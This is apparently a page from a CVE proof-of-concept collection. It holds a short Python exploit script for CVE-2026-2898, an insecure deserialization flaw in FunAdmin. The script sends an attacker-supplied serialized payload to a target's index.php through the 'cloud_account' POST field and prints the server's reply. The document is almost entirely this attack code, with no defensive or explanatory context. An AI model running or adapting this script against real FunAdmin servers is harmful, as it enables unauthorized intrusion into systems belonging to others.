4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
import argparse
import requests

def send_payload(target, payload):
    url = f"{target}/index.php"
    
    data = {
        "cloud_account": payload
    }

    try:
        r = requests.post(url, data=data, timeout=5)
        print("[+] Response received")
        print(r.text[:500])
    except Exception as e:
        print(f"[!] Error: {e}")

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-2898 FunAdmin Insecure Deserialization PoC"
    )
    parser.add_argument("--url", required=True)
    parser.add_argument("--payload", required=True)

    args = parser.parse_args()
    send_payload(args.url, args.payload)

if __name__ == "__main__":
    main()